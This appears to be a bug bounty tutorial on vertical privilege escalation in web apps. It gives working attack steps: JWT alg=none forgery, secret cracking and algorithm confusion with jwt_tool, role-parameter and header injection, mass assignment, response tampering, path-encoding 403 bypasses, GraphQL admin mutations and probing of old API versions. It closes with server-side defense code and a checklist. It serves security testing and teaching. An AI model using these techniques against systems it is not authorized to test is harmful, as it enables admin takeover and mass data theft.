Vertical Privilege Escalation —
Complete Bug Bounty Guide 2026
Vertical Privilege Escalation lets a regular user gain admin-level access — through JWT tampering, role parameter injection, response manipulation, and more. This guide covers every attack technique with real working examples.
🔍 What is Vertical Privilege Escalation?
Vertical Privilege Escalation is a critical web security vulnerability where a lower-privileged user gains access to functions, data, or actions reserved for a higher-privileged role. The most common form is a regular user gaining admin-level access — full control over the application.
Vertical Privilege Escalation — regular user bypasses role checks to gain admin access
The server checks authentication (are you logged in?) but fails to check authorization (what role are you, and are you allowed to do THIS?). By manipulating a role indicator — in a URL, JWT, cookie, request parameter, or API response — a regular user gains full admin privileges.
You are a regular user. The admin panel at /admin/dashboard is hidden from your menu. But if you visit that URL directly — or send role=admin in a request — and the server loads the admin panel, you have just performed Vertical Privilege Escalation. You went from user to admin without knowing the admin password.
⚡ 8 Types of Vertical Privilege Escalation
/admin/dashboard directly with a user session — no auth middleware on the routeHIGHrole=admin in request body — server trusts client-supplied role valueCRITICALrole:user → role:admin → resign or use alg=noneCRITICALisAdmin:false → isAdmin:true → forwardHIGHrole=user cookie to role=admin — server trusts unsigned cookieCRITICAL/api/admin/export with regular user token — admin route missing auth middlewareCRITICALrole=admin in registration body — framework auto-binds all request fieldsCRITICAL📊 Vertical Privilege Escalation — Quick Reference
| Field | Details |
|---|---|
| Vulnerability | Vertical Privilege Escalation |
| Also Known As | BFLA, Elevation of Privilege, Role Bypass, Broken Function Level Authorization |
| OWASP | A01: Broken Access Control | OWASP API: BFLA |
| CVE Score | 7.5 – 10.0 |
| Severity | High → Critical (admin access = almost always Critical) |
| Root Cause | No role-check middleware on admin routes; role trusted from client; weak JWT validation |
| Where to Check | /admin, /dashboard, role= params, JWT claims, cookies, API admin endpoints, GraphQL mutations |
| Best Tools | Burp Suite, jwt_tool, Autorize, ffuf, curl, ParamMiner, CyberChef |
| Practice Labs | PortSwigger Web Academy, PortSwigger JWT Labs, HackTheBox, TryHackMe, PentesterLab |
| Difficulty | Intermediate (URL/param) | Advanced (JWT attacks, algorithm confusion) |
| Post Exploitation | Promote self to admin | Export all user PII | Disable 2FA globally | File upload → RCE | Server settings → SSRF |
| Related Vulns | Horizontal Escalation, Backend Auth Missing, BOPLA |
🔐 JWT Attack Deep Dive — The Most Powerful Vector
JWT (JSON Web Token) attacks are the most impactful Vertical Privilege Escalation technique. A single tampered token gives persistent admin access. Always decode every JWT you encounter.
Attack 1 — alg=none (No Signature Required)
# Test if server accepts unsigned JWT python3 jwt_tool.py YOUR_TOKEN -X a # Manual — reconstruct with no signature: # Header: {"alg":"none","typ":"JWT"} # Payload: {"user_id":1001,"role":"admin","exp":9999999999} # Token: base64url(header) + "." + base64url(payload) + "." # If server accepts → forged admin token = CRITICAL
Attack 2 — Weak Secret Cracking
# Crack weak HMAC secret python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt # If cracked (e.g. secret = "secret123") # Resign admin token with real secret python3 jwt_tool.py TOKEN -T -S hs256 -p 'secret123' # Tamper mode: change role → admin → sign with cracked secret
Attack 3 — Algorithm Confusion (RS256 → HS256)
# If app uses RS256, public key is often accessible: curl https://target.com/.well-known/jwks.json curl https://target.com/api/keys # Attack: sign new token using PUBLIC KEY as HS256 secret python3 jwt_tool.py TOKEN -X k -pk server_public_key.pem # In the new token: set role = admin # Server uses public key to verify HS256 → accepts forged token
🧠 Manual Testing for Vertical Privilege Escalation
Phase 1 — Map Admin Endpoints
/admin/users, /api/admin/export, /api/roles/assign, etc.200 OK with admin content = Vertical Privilege Escalation confirmed.# Admin request — baseline GET /admin/users HTTP/1.1 Cookie: session=ADMIN_TOKEN # Swap cookie → user session GET /admin/users HTTP/1.1 Cookie: session=USER_TOKEN # 200 OK with admin content = CONFIRMED
Phase 2 — Inject Role Parameters
# Query string GET /dashboard?role=admin&isAdmin=true # POST body POST /api/profile/update {"name": "Dev", "role": "admin", "isAdmin": true} # Custom headers X-Role: admin X-Admin: true X-User-Level: administrator # Cookie manipulation Cookie: session=USER; role=admin; admin=true # Registration mass assignment POST /api/register {"name":"Dev","email":"d@t.com","password":"x","role":"admin"}
Phase 3 — Response Manipulation
# In Burp: Right-click → Intercept response to this request # Original server response: {"user": {"role": "user", "isAdmin": false}} # Modified before forwarding: {"user": {"role": "admin", "isAdmin": true}} # Forward → if admin UI appears: frontend-only check confirmed # Then test: do admin ACTIONS actually execute? If yes = CRITICAL
🤖 Best Tools for Vertical Privilege Escalation
python3 jwt_tool.py TOKEN -T
BApp Store → Install Autorize
Right-click → Param Miner → Guess params
ffuf -u URL/admin/FUZZ -mc 200 -H "Cookie: ..."
gchq.github.io/CyberChef → JWT Decode
requests.get(admin_url, cookies=user_session)
🔥 Burp Suite — Vertical Privilege Escalation Guide
Cookie: session=ADMIN with Cookie: session=USER. Click Send. 200 + admin content = confirmed."role":"user" → "role":"admin" and "isAdmin":false → "isAdmin":true. Browse app — every request auto-injects admin role.isAdmin:false to isAdmin:true. Forward. If admin UI appears → frontend-only check → test if admin actions execute on backend.{"role":"§user§"}. Payload list: admin, superadmin, administrator, ADMIN, root, owner, staff, moderator. Sort by response length — different = role accepted.💣 Advanced Vertical Privilege Escalation Techniques
Path Traversal on Admin Routes — WAF Bypass
# Direct path blocked: GET /admin/users → 403 # Bypass techniques: GET /user/../admin/users GET /%61%64%6d%69%6e/users (URL-encoded 'admin') GET //admin/users GET /Admin/users (case variation) GET /admin;/users (semicolon bypass) GET /admin/users/ (trailing slash)
GraphQL Admin Mutations
# Step 1: Introspect to find admin mutations { __schema { types { name fields { name } } } } # Step 2: Try admin-only mutations as regular user mutation { promoteUser(userId: "1001", role: ADMIN) { success } } # Step 3: Add admin fields to allowed mutations mutation { updateProfile(name: "Dev", role: ADMIN) { user { role } } }
Old API Version Discovery
# Current version — protected POST /api/v3/admin/promote → 403 # Old versions — often forgotten, no auth POST /api/v1/admin/promote → 200 ← VULNERABLE POST /api/beta/promote → 200 POST /api/internal/promote → 200
🔗 Real Vertical Privilege Escalation Bug Chains
🛡️ Defense Against Vertical Privilege Escalation
Add role-check middleware to EVERY admin route server-side. Deny by default. Never trust role data from the client — cookies, request body, or JWT claims without signature verification. The role must always be derived from the server session.
# Node/Express — WRONG app.get('/admin', (req, res) => { ... }) # Node/Express — CORRECT app.get('/admin', isAuthenticated, isAdmin, (req, res) => { ... }) # Django — CORRECT @permission_required('is_staff') def admin_view(request): ... # Laravel — CORRECT Route::middleware('admin')->group(function() { Route::get('/admin', [AdminController::class, 'index']); }); # Spring Boot — CORRECT @PreAuthorize("hasRole('ADMIN')") @GetMapping("/admin") public ResponseEntity adminPanel() { ... } # JWT — always verify signature with strong algorithm # REJECT alg=none | Use RS256 or HS256 with 256-bit+ secret
☑ Add role-check middleware to EVERY admin route — no exceptions, no gaps
☑ NEVER trust role from cookies, request body, or unverified JWT claims
☑ Reject JWT tokens with alg=none or alg=HS256 when RS256 is expected
☑ Use a strong JWT secret (256-bit minimum) — rotate it regularly
☑ Remove old API versions (/v1/, /beta/) from production completely
☑ Use Autorize against your own app in CI/CD to catch vertical escalation before attackers do
🔗 PortSwigger — Access Control Labs
🔗 PortSwigger — JWT Attacks Labs
🔗 jwt_tool — GitHub (Full JWT Attack Suite)
🔗 OWASP A01: Broken Access Control
📖 Horizontal Privilege Escalation Guide
📖 Backend Authorization Missing Guide
📖 BOPLA — Mass Assignment Guide
📖 IDOR Complete Bug Bounty Guide
🧠 Key Takeaways — Vertical Privilege Escalation
- Vertical Privilege Escalation = user gains admin access by bypassing role checks
- Almost always Critical severity — admin access means full app compromise
- Always decode EVERY JWT you find — look for role, admin, permissions, scope, userType claims
- Try role=admin in every POST/PUT/PATCH request body — not just registration
- alg=none and algorithm confusion attacks require zero knowledge of the secret
- Test old API versions (/v1/, /beta/) — admin auth is almost always missing there
- Response manipulation proves frontend-only checks — then verify backend actions work too
- Use Autorize extension — it compares admin vs user vs unauthenticated responses automatically
- Test ALL HTTP methods on admin endpoints — DELETE and PATCH are most forgotten
- GraphQL introspection reveals all admin mutations — always run it on GraphQL APIs
In 2020, a SaaS platform accepted role=admin in the profile update endpoint. Any logged-in user could add one parameter and gain full admin access to 2 million user accounts. The researcher demonstrated full admin function — user export, settings change, and account promotion. Bounty paid: $15,000.

